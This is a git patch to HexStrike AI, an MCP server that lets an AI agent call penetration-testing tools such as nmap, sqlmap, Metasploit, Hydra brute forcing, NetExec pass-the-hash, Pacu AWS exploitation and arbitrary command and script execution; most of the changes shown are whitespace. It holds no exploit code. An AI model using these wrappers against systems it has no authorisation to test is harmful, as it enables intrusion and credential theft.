From 57c014d3db3fe8686bbed8f04b9d4f46e4812fbb Mon Sep 17 00:00:00 2001
From: Muhammad Osama <m0x4m4@gmail.com>
Date: Tue, 9 Sep 2025 19:43:23 +0500
Subject: [PATCH] fixed hakrawler, bycrypt and other issues

---
 README.md                  |   22 +
 assets/leaksapi-banner.png |  Bin 0 -> 47788 bytes
 assets/leaksapi-logo.png   |  Bin 0 -> 1014134 bytes
 hexstrike_mcp.py           | 1271 +++++------
 hexstrike_server.py        | 4112 ++++++++++++++++++------------------
 requirements.txt           |   25 +-
 6 files changed, 2735 insertions(+), 2695 deletions(-)
 create mode 100644 assets/leaksapi-banner.png
 create mode 100644 assets/leaksapi-logo.png

diff --git a/README.md b/README.md
index f6d4ea0..1911379 100644
--- a/README.md
+++ b/README.md
@@ -36,6 +36,28 @@
   </a>
 </p>
 
+## Official Sponsor
+
+<p align="center">
+  <strong>Sponsored By LeaksAPI - Live Dark Web Data leak checker</strong>
+</p>
+
+<p align="center">
+  <a href="https://leak-check.net">
+    <img src="assets/leaksapi-logo.png" alt="LeaksAPI Logo" width="150" />
+  </a>
+  &nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://leak-check.net">
+    <img src="assets/leaksapi-banner.png" alt="LeaksAPI Banner" width="450" />
+  </a>
+</p>
+
+<p align="center">
+  <a href="https://leak-check.net">
+    <img src="https://img.shields.io/badge/Visit-leak--check.net-00D4AA?style=for-the-badge&logo=shield&logoColor=white" alt="Visit leak-check.net" />
+  </a>
+</p>
+
 </div>
 
 ---
diff --git a/assets/leaksapi-banner.png b/assets/leaksapi-banner.png
new file mode 100644
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literal 0
HcmV?d00001

diff --git a/hexstrike_mcp.py b/hexstrike_mcp.py
index 16ae2f7..23b083b 100644
--- a/hexstrike_mcp.py
+++ b/hexstrike_mcp.py
@@ -30,7 +30,7 @@ from mcp.server.fastmcp import FastMCP
 
 class HexStrikeColors:
     """Enhanced color palette matching the server's ModernVisualEngine.COLORS"""
-    
+
     # Basic colors (for backward compatibility)
     RED = '\033[91m'
     GREEN = '\033[92m'
@@ -39,7 +39,7 @@ class HexStrikeColors:
     MAGENTA = '\033[95m'
     CYAN = '\033[96m'
     WHITE = '\033[97m'
-    
+
     # Core enhanced colors
     MATRIX_GREEN = '\033[38;5;46m'
     NEON_BLUE = '\033[38;5;51m'
@@ -51,7 +51,7 @@ class HexStrikeColors:
     RESET = '\033[0m'
     BOLD = '\033[1m'
     DIM = '\033[2m'
-    
+
     # Enhanced reddish tones and highlighting colors
     BLOOD_RED = '\033[38;5;124m'
     CRIMSON = '\033[38;5;160m'
@@ -61,14 +61,14 @@ class HexStrikeColors:
     BURGUNDY = '\033[38;5;52m'
     SCARLET = '\033[38;5;197m'
     RUBY = '\033[38;5;161m'
-    
+
     # Highlighting colors
     HIGHLIGHT_RED = '\033[48;5;196m\033[38;5;15m'  # Red background, white text
     HIGHLIGHT_YELLOW = '\033[48;5;226m\033[38;5;16m'  # Yellow background, black text
     HIGHLIGHT_GREEN = '\033[48;5;46m\033[38;5;16m'  # Green background, black text
     HIGHLIGHT_BLUE = '\033[48;5;51m\033[38;5;16m'  # Blue background, black text
     HIGHLIGHT_PURPLE = '\033[48;5;129m\033[38;5;15m'  # Purple background, white text
-    
+
     # Status colors with reddish tones
     SUCCESS = '\033[38;5;46m'  # Bright green
     WARNING = '\033[38;5;208m'  # Orange
@@ -76,14 +76,14 @@ class HexStrikeColors:
     CRITICAL = '\033[48;5;196m\033[38;5;15m\033[1m'  # Red background, white bold text
     INFO = '\033[38;5;51m'  # Cyan
     DEBUG = '\033[38;5;240m'  # Gray
-    
+
     # Vulnerability severity colors
     VULN_CRITICAL = '\033[48;5;124m\033[38;5;15m\033[1m'  # Dark red background
     VULN_HIGH = '\033[38;5;196m\033[1m'  # Bright red bold
     VULN_MEDIUM = '\033[38;5;208m\033[1m'  # Orange bold
     VULN_LOW = '\033[38;5;226m'  # Yellow
     VULN_INFO = '\033[38;5;51m'  # Cyan
-    
+
     # Tool status colors
     TOOL_RUNNING = '\033[38;5;46m\033[5m'  # Blinking green
     TOOL_SUCCESS = '\033[38;5;46m\033[1m'  # Bold green
@@ -96,7 +96,7 @@ Colors = HexStrikeColors
 
 class ColoredFormatter(logging.Formatter):
     """Enhanced formatter with colors and emojis for MCP client - matches server styling"""
-    
+
     COLORS = {
         'DEBUG': HexStrikeColors.DEBUG,
         'INFO': HexStrikeColors.SUCCESS,
@@ -104,7 +104,7 @@ class ColoredFormatter(logging.Formatter):
         'ERROR': HexStrikeColors.ERROR,
         'CRITICAL': HexStrikeColors.CRITICAL
     }
-    
+
     EMOJIS = {
         'DEBUG': '🔍',
         'INFO': '✅',
@@ -112,11 +112,11 @@ class ColoredFormatter(logging.Formatter):
         'ERROR': '❌',
         'CRITICAL': '🔥'
     }
-    
+
     def format(self, record):
         emoji = self.EMOJIS.get(record.levelname, '📝')
         color = self.COLORS.get(record.levelname, HexStrikeColors.BRIGHT_WHITE)
-        
+
         # Add color and emoji to the message
         record.msg = f"{color}{emoji} {record.msg}{HexStrikeColors.RESET}"
         return super().format(record)
@@ -146,11 +146,11 @@ MAX_RETRIES = 3  # Maximum number of retries for connection attempts
 
 class HexStrikeClient:
     """Enhanced client for communicating with the HexStrike AI API Server"""
-    
+
     def __init__(self, server_url: str, timeout: int = DEFAULT_REQUEST_TIMEOUT):
         """
         Initialize the HexStrike AI Client
-        
+
         Args:
             server_url: URL of the HexStrike AI API Server
             timeout: Request timeout in seconds
@@ -158,7 +158,7 @@ class HexStrikeClient:
         self.server_url = server_url.rstrip("/")
         self.timeout = timeout
         self.session = requests.Session()
-        
+
         # Try to connect to server with retries
         connected = False
         for i in range(MAX_RETRIES):
@@ -183,20 +183,20 @@ class HexStrikeClient:
             except Exception as e:
                 logger.warning(f"❌ Connection attempt {i+1} failed: {str(e)}")
                 time.sleep(2)  # Wait before retrying
-        
+
         if not connected:
             error_msg = f"Failed to establish connection to HexStrike AI API Server at {server_url} after {MAX_RETRIES} attempts"
             logger.error(error_msg)
             # We'll continue anyway to allow the MCP server to start, but tools will likely fail
-        
+
     def safe_get(self, endpoint: str, params: Optional[Dict[str, Any]] = None) -> Dict[str, Any]:
         """
         Perform a GET request with optional query parameters.
-        
+
         Args:
             endpoint: API endpoint path (without leading slash)
             params: Optional query parameters
-            
+
         Returns:
             Response data as dictionary
         """
@@ -220,16 +220,16 @@ class HexStrikeClient:
     def safe_post(self, endpoint: str, json_data: Dict[str, Any]) -> Dict[str, Any]:
         """
         Perform a POST request with JSON data.
-        
+
         Args:
             endpoint: API endpoint path (without leading slash)
             json_data: JSON data to send
-            
+
         Returns:
             Response data as dictionary
         """
         url = f"{self.server_url}/{endpoint}"
-        
+
         try:
             logger.debug(f"📡 POST {url} with data: {json_data}")
             response = self.session.post(url, json=json_data, timeout=self.timeout)
@@ -245,20 +245,20 @@ class HexStrikeClient:
     def execute_command(self, command: str, use_cache: bool = True) -> Dict[str, Any]:
         """
         Execute a generic command on the HexStrike server
-        
+
         Args:
             command: Command to execute
             use_cache: Whether to use caching for this command
-            
+
         Returns:
             Command execution results
         """
         return self.safe_post("api/command", {"command": command, "use_cache": use_cache})
-    
+
     def check_health(self) -> Dict[str, Any]:
         """
         Check the health of the HexStrike AI API Server
-        
+
         Returns:
             Health status information
         """
@@ -267,30 +267,30 @@ class HexStrikeClient:
 def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     """
     Set up the MCP server with all enhanced tool functions
-    
+
     Args:
         hexstrike_client: Initialized HexStrikeClient
-        
+
     Returns:
         Configured FastMCP instance
     """
     mcp = FastMCP("hexstrike-ai-mcp")
-    
+
     # ============================================================================
     # CORE NETWORK SCANNING TOOLS
     # ============================================================================
-    
+
     @mcp.tool()
     def nmap_scan(target: str, scan_type: str = "-sV", ports: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute an enhanced Nmap scan against a target with real-time logging.
-        
+
         Args:
             target: The IP address or hostname to scan
             scan_type: Scan type (e.g., -sV for version detection, -sC for scripts)
             ports: Comma-separated list of ports or port ranges
             additional_args: Additional Nmap arguments
-            
+
         Returns:
             Scan results with enhanced telemetry
         """
@@ -301,14 +301,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "additional_args": additional_args
         }
         logger.info(f"{HexStrikeColors.FIRE_RED}🔍 Initiating Nmap scan: {target}{HexStrikeColors.RESET}")
-        
+
         # Use enhanced error handling by default
         data["use_recovery"] = True
         result = hexstrike_client.safe_post("api/tools/nmap", data)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Nmap scan completed successfully for {target}{HexStrikeColors.RESET}")
-            
+
             # Check for recovery information
             if result.get("recovery_info", {}).get("recovery_applied"):
                 recovery_info = result["recovery_info"]
@@ -316,24 +316,24 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Nmap scan failed for {target}{HexStrikeColors.RESET}")
-            
+
             # Check for human escalation
             if result.get("human_escalation"):
                 logger.error(f"{HexStrikeColors.CRITICAL} HUMAN ESCALATION REQUIRED {HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
     def gobuster_scan(url: str, mode: str = "dir", wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Gobuster to find directories, DNS subdomains, or virtual hosts with enhanced logging.
-        
+
         Args:
             url: The target URL
             mode: Scan mode (dir, dns, fuzz, vhost)
             wordlist: Path to wordlist file
             additional_args: Additional Gobuster arguments
-            
+
         Returns:
             Scan results with enhanced telemetry
         """
@@ -344,14 +344,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "additional_args": additional_args
         }
         logger.info(f"{HexStrikeColors.CRIMSON}📁 Starting Gobuster {mode} scan: {url}{HexStrikeColors.RESET}")
-        
+
         # Use enhanced error handling by default
         data["use_recovery"] = True
         result = hexstrike_client.safe_post("api/tools/gobuster", data)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Gobuster scan completed for {url}{HexStrikeColors.RESET}")
-            
+
             # Check for recovery information
             if result.get("recovery_info", {}).get("recovery_applied"):
                 recovery_info = result["recovery_info"]
@@ -359,26 +359,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Gobuster scan failed for {url}{HexStrikeColors.RESET}")
-            
+
             # Check for alternative tool suggestion
             if result.get("alternative_tool_suggested"):
                 alt_tool = result["alternative_tool_suggested"]
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_BLUE} Alternative tool suggested: {alt_tool} {HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
     def nuclei_scan(target: str, severity: str = "", tags: str = "", template: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Nuclei vulnerability scanner with enhanced logging and real-time progress.
-        
+
         Args:
             target: The target URL or IP
             severity: Filter by severity (critical,high,medium,low,info)
             tags: Filter by tags (e.g. cve,rce,lfi)
             template: Custom template path
             additional_args: Additional Nuclei arguments
-            
+
         Returns:
             Scan results with discovered vulnerabilities and telemetry
         """
@@ -390,20 +390,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "additional_args": additional_args
         }
         logger.info(f"{HexStrikeColors.BLOOD_RED}🔬 Starting Nuclei vulnerability scan: {target}{HexStrikeColors.RESET}")
-        
+
         # Use enhanced error handling by default
         data["use_recovery"] = True
         result = hexstrike_client.safe_post("api/tools/nuclei", data)
-        
+
         if result.get("success"):
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Nuclei scan completed for {target}{HexStrikeColors.RESET}")
-            
+
             # Enhanced vulnerability reporting
             if result.get("stdout") and "CRITICAL" in result["stdout"]:
                 logger.warning(f"{HexStrikeColors.CRITICAL} CRITICAL vulnerabilities detected! {HexStrikeColors.RESET}")
             elif result.get("stdout") and "HIGH" in result["stdout"]:
                 logger.warning(f"{HexStrikeColors.FIRE_RED} HIGH severity vulnerabilities found! {HexStrikeColors.RESET}")
-            
+
             # Check for recovery information
             if result.get("recovery_info", {}).get("recovery_applied"):
                 recovery_info = result["recovery_info"]
@@ -411,18 +411,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Nuclei scan failed for {target}{HexStrikeColors.RESET}")
-        
+
         return result
 
     # ============================================================================
     # CLOUD SECURITY TOOLS
     # ============================================================================
-    
+
     @mcp.tool()
     def prowler_scan(provider: str = "aws", profile: str = "default", region: str = "", checks: str = "", output_dir: str = "/tmp/prowler_output", output_format: str = "json", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Prowler for comprehensive cloud security assessment.
-        
+
         Args:
             provider: Cloud provider (aws, azure, gcp)
             profile: AWS profile to use
@@ -431,7 +431,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             output_dir: Directory to save results
             output_format: Output format (json, csv, html)
             additional_args: Additional Prowler arguments
-            
+
         Returns:
             Cloud security assessment results
         """
@@ -456,7 +456,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def trivy_scan(scan_type: str = "image", target: str = "", output_format: str = "json", severity: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Trivy for container and filesystem vulnerability scanning.
-        
+
         Args:
             scan_type: Type of scan (image, fs, repo, config)
             target: Target to scan (image name, directory, repository)
@@ -464,7 +464,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             severity: Severity filter (UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL)
             output_file: File to save results
             additional_args: Additional Trivy arguments
-            
+
         Returns:
             Vulnerability scan results
         """
@@ -489,12 +489,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
 
     @mcp.tool()
-    def scout_suite_assessment(provider: str = "aws", profile: str = "default", 
-                              report_dir: str = "/tmp/scout-suite", services: str = "", 
+    def scout_suite_assessment(provider: str = "aws", profile: str = "default",
+                              report_dir: str = "/tmp/scout-suite", services: str = "",
                               exceptions: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Scout Suite for multi-cloud security assessment.
-        
+
         Args:
             provider: Cloud provider (aws, azure, gcp, aliyun, oci)
             profile: AWS profile to use
@@ -502,7 +502,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             services: Specific services to assess
             exceptions: Exceptions file path
             additional_args: Additional Scout Suite arguments
-            
+
         Returns:
             Multi-cloud security assessment results
         """
@@ -523,17 +523,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def cloudmapper_analysis(action: str = "collect", account: str = "", 
+    def cloudmapper_analysis(action: str = "collect", account: str = "",
                             config: str = "config.json", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute CloudMapper for AWS network visualization and security analysis.
-        
+
         Args:
             action: Action to perform (collect, prepare, webserver, find_admins, etc.)
             account: AWS account to analyze
             config: Configuration file path
             additional_args: Additional CloudMapper arguments
-            
+
         Returns:
             AWS network visualization and security analysis results
         """
@@ -552,19 +552,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def pacu_exploitation(session_name: str = "hexstrike_session", modules: str = "", 
-                         data_services: str = "", regions: str = "", 
+    def pacu_exploitation(session_name: str = "hexstrike_session", modules: str = "",
+                         data_services: str = "", regions: str = "",
                          additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Pacu for AWS exploitation framework.
-        
+
         Args:
             session_name: Pacu session name
             modules: Comma-separated list of modules to run
             data_services: Data services to enumerate
             regions: AWS regions to target
             additional_args: Additional Pacu arguments
-            
+
         Returns:
             AWS exploitation framework results
         """
@@ -584,12 +584,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def kube_hunter_scan(target: str = "", remote: str = "", cidr: str = "", 
-                        interface: str = "", active: bool = False, report: str = "json", 
+    def kube_hunter_scan(target: str = "", remote: str = "", cidr: str = "",
+                        interface: str = "", active: bool = False, report: str = "json",
                         additional_args: str = "") -> Dict[str, Any]:
         """
         Execute kube-hunter for Kubernetes penetration testing.
-        
+
         Args:
             target: Specific target to scan
             remote: Remote target to scan
@@ -598,7 +598,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             active: Enable active hunting (potentially harmful)
             report: Report format (json, yaml)
             additional_args: Additional kube-hunter arguments
-            
+
         Returns:
             Kubernetes penetration testing results
         """
@@ -620,18 +620,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def kube_bench_cis(targets: str = "", version: str = "", config_dir: str = "", 
+    def kube_bench_cis(targets: str = "", version: str = "", config_dir: str = "",
                       output_format: str = "json", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute kube-bench for CIS Kubernetes benchmark checks.
-        
+
         Args:
             targets: Targets to check (master, node, etcd, policies)
             version: Kubernetes version
             config_dir: Configuration directory
             output_format: Output format (json, yaml)
             additional_args: Additional kube-bench arguments
-            
+
         Returns:
             CIS Kubernetes benchmark results
         """
@@ -651,18 +651,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def docker_bench_security_scan(checks: str = "", exclude: str = "", 
-                                  output_file: str = "/tmp/docker-bench-results.json", 
+    def docker_bench_security_scan(checks: str = "", exclude: str = "",
+                                  output_file: str = "/tmp/docker-bench-results.json",
                                   additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Docker Bench for Security for Docker security assessment.
-        
+
         Args:
             checks: Specific checks to run
             exclude: Checks to exclude
             output_file: Output file path
             additional_args: Additional Docker Bench arguments
-            
+
         Returns:
             Docker security assessment results
         """
@@ -681,17 +681,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def clair_vulnerability_scan(image: str, config: str = "/etc/clair/config.yaml", 
+    def clair_vulnerability_scan(image: str, config: str = "/etc/clair/config.yaml",
                                 output_format: str = "json", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Clair for container vulnerability analysis.
-        
+
         Args:
             image: Container image to scan
             config: Clair configuration file
             output_format: Output format (json, yaml)
             additional_args: Additional Clair arguments
-            
+
         Returns:
             Container vulnerability analysis results
         """
@@ -710,19 +710,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def falco_runtime_monitoring(config_file: str = "/etc/falco/falco.yaml", 
-                                rules_file: str = "", output_format: str = "json", 
+    def falco_runtime_monitoring(config_file: str = "/etc/falco/falco.yaml",
+                                rules_file: str = "", output_format: str = "json",
                                 duration: int = 60, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Falco for runtime security monitoring.
-        
+
         Args:
             config_file: Falco configuration file
             rules_file: Custom rules file
             output_format: Output format (json, text)
             duration: Monitoring duration in seconds
             additional_args: Additional Falco arguments
-            
+
         Returns:
             Runtime security monitoring results
         """
@@ -742,12 +742,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def checkov_iac_scan(directory: str = ".", framework: str = "", check: str = "", 
-                        skip_check: str = "", output_format: str = "json", 
+    def checkov_iac_scan(directory: str = ".", framework: str = "", check: str = "",
+                        skip_check: str = "", output_format: str = "json",
                         additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Checkov for infrastructure as code security scanning.
-        
+
         Args:
             directory: Directory to scan
             framework: Framework to scan (terraform, cloudformation, kubernetes, etc.)
@@ -755,7 +755,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             skip_check: Check to skip
             output_format: Output format (json, yaml, cli)
             additional_args: Additional Checkov arguments
-            
+
         Returns:
             Infrastructure as code security scanning results
         """
@@ -776,12 +776,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         return result
 
     @mcp.tool()
-    def terrascan_iac_scan(scan_type: str = "all", iac_dir: str = ".", 
-                          policy_type: str = "", output_format: str = "json", 
+    def terrascan_iac_scan(scan_type: str = "all", iac_dir: str = ".",
+                          policy_type: str = "", output_format: str = "json",
                           severity: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Terrascan for infrastructure as code security scanning.
-        
+
         Args:
             scan_type: Type of scan (all, terraform, k8s, etc.)
             iac_dir: Infrastructure as code directory
@@ -789,7 +789,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             output_format: Output format (json, yaml, xml)
             severity: Severity filter (high, medium, low)
             additional_args: Additional Terrascan arguments
-            
+
         Returns:
             Infrastructure as code security scanning results
         """
@@ -812,17 +812,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
     # FILE OPERATIONS & PAYLOAD GENERATION
     # ============================================================================
-    
+
     @mcp.tool()
     def create_file(filename: str, content: str, binary: bool = False) -> Dict[str, Any]:
         """
         Create a file with specified content on the HexStrike server.
-        
+
         Args:
             filename: Name of the file to create
             content: Content to write to the file
             binary: Whether the content is binary data
-            
+
         Returns:
             File creation results
         """
@@ -843,12 +843,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def modify_file(filename: str, content: str, append: bool = False) -> Dict[str, Any]:
         """
         Modify an existing file on the HexStrike server.
-        
+
         Args:
             filename: Name of the file to modify
             content: Content to write or append
             append: Whether to append to the file (True) or overwrite (False)
-            
+
         Returns:
             File modification results
         """
@@ -869,10 +869,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def delete_file(filename: str) -> Dict[str, Any]:
         """
         Delete a file or directory on the HexStrike server.
-        
+
         Args:
             filename: Name of the file or directory to delete
-            
+
         Returns:
             File deletion results
         """
@@ -891,10 +891,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def list_files(directory: str = ".") -> Dict[str, Any]:
         """
         List files in a directory on the HexStrike server.
-        
+
         Args:
             directory: Directory to list (relative to server's base directory)
-            
+
         Returns:
             Directory listing results
         """
@@ -911,13 +911,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def generate_payload(payload_type: str = "buffer", size: int = 1024, pattern: str = "A", filename: str = "") -> Dict[str, Any]:
         """
         Generate large payloads for testing and exploitation.
-        
+
         Args:
             payload_type: Type of payload (buffer, cyclic, random)
             size: Size of the payload in bytes
             pattern: Pattern to use for buffer payloads
             filename: Custom filename (auto-generated if empty)
-            
+
         Returns:
             Payload generation results
         """
@@ -928,7 +928,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         if filename:
             data["filename"] = filename
-            
+
         logger.info(f"🎯 Generating {payload_type} payload: {size} bytes")
         result = hexstrike_client.safe_post("api/payloads/generate", data)
         if result.get("success"):
@@ -940,16 +940,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
     # PYTHON ENVIRONMENT MANAGEMENT
     # ============================================================================
-    
+
     @mcp.tool()
     def install_python_package(package: str, env_name: str = "default") -> Dict[str, Any]:
         """
         Install a Python package in a virtual environment on the HexStrike server.
-        
+
         Args:
             package: Name of the Python package to install
             env_name: Name of the virtual environment
-            
+
         Returns:
             Package installation results
         """
@@ -969,12 +969,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def execute_python_script(script: str, env_name: str = "default", filename: str = "") -> Dict[str, Any]:
         """
         Execute a Python script in a virtual environment on the HexStrike server.
-        
+
         Args:
             script: Python script content to execute
             env_name: Name of the virtual environment
             filename: Custom script filename (auto-generated if empty)
-            
+
         Returns:
             Script execution results
         """
@@ -984,7 +984,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         if filename:
             data["filename"] = filename
-            
+
         logger.info(f"🐍 Executing Python script in env {env_name}")
         result = hexstrike_client.safe_post("api/python/execute", data)
         if result.get("success"):
@@ -1001,12 +1001,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def dirb_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Dirb for directory brute forcing with enhanced logging.
-        
+
         Args:
             url: The target URL
             wordlist: Path to wordlist file
             additional_args: Additional Dirb arguments
-            
+
         Returns:
             Scan results with enhanced telemetry
         """
@@ -1027,11 +1027,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def nikto_scan(target: str, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Nikto web vulnerability scanner with enhanced logging.
-        
+
         Args:
             target: The target URL or IP
             additional_args: Additional Nikto arguments
-            
+
         Returns:
             Scan results with discovered vulnerabilities
         """
@@ -1051,12 +1051,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def sqlmap_scan(url: str, data: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute SQLMap for SQL injection testing with enhanced logging.
-        
+
         Args:
             url: The target URL
             data: POST data for testing
             additional_args: Additional SQLMap arguments
-            
+
         Returns:
             SQL injection test results
         """
@@ -1077,11 +1077,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def metasploit_run(module: str, options: Dict[str, Any] = {}) -> Dict[str, Any]:
         """
         Execute a Metasploit module with enhanced logging.
-        
+
         Args:
             module: The Metasploit module to use
             options: Dictionary of module options
-            
+
         Returns:
             Metasploit execution results
         """
@@ -1109,7 +1109,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     ) -> Dict[str, Any]:
         """
         Execute Hydra for password brute forcing with enhanced logging.
-        
+
         Args:
             target: The target IP or hostname
             service: The service to attack (ssh, ftp, http, etc.)
@@ -1118,7 +1118,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             password: Single password to test
             password_file: File containing passwords
             additional_args: Additional Hydra arguments
-            
+
         Returns:
             Brute force attack results
         """
@@ -1148,13 +1148,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     ) -> Dict[str, Any]:
         """
         Execute John the Ripper for password cracking with enhanced logging.
-        
+
         Args:
             hash_file: File containing password hashes
             wordlist: Wordlist file to use
             format_type: Hash format type
             additional_args: Additional John arguments
-            
+
         Returns:
             Password cracking results
         """
@@ -1176,11 +1176,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def wpscan_analyze(url: str, additional_args: str = "") -> Dict[str, Any]:
         """
         Execute WPScan for WordPress vulnerability scanning with enhanced logging.
-        
+
         Args:
             url: The WordPress site URL
             additional_args: Additional WPScan arguments
-            
+
         Returns:
             WordPress vulnerability scan results
         """
@@ -1200,11 +1200,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def enum4linux_scan(target: str, additional_args: str = "-a") -> Dict[str, Any]:
         """
         Execute Enum4linux for SMB enumeration with enhanced logging.
-        
+
         Args:
             target: The target IP address
             additional_args: Additional Enum4linux arguments
-            
+
         Returns:
             SMB enumeration results
         """
@@ -1224,14 +1224,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def ffuf_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", mode: str = "directory", match_codes: str = "200,204,301,302,307,401,403", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute FFuf for web fuzzing with enhanced logging.
-        
+
         Args:
             url: The target URL
             wordlist: Wordlist file to use
             mode: Fuzzing mode (directory, vhost, parameter)
             match_codes: HTTP status codes to match
             additional_args: Additional FFuf arguments
-            
+
         Returns:
             Web fuzzing results
         """
@@ -1254,7 +1254,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def netexec_scan(target: str, protocol: str = "smb", username: str = "", password: str = "", hash_value: str = "", module: str = "", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute NetExec (formerly CrackMapExec) for network enumeration with enhanced logging.
-        
+
         Args:
             target: The target IP or network
             protocol: Protocol to use (smb, ssh, winrm, etc.)
@@ -1263,7 +1263,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             hash_value: Hash for pass-the-hash attacks
             module: NetExec module to execute
             additional_args: Additional NetExec arguments
-            
+
         Returns:
             Network enumeration results
         """
@@ -1288,12 +1288,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def amass_scan(domain: str, mode: str = "enum", additional_args: str = "") -> Dict[str, Any]:
         """
         Execute Amass for subdomain enumeration with enhanced logging.
-        
+
         Args:
             domain: The target domain
             mode: Amass mode (enum, intel, viz)
             additional_args: Additional Amass arguments
-            
+
         Returns:
             Subdomain enumeration results
         """
@@ -1314,7 +1314,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
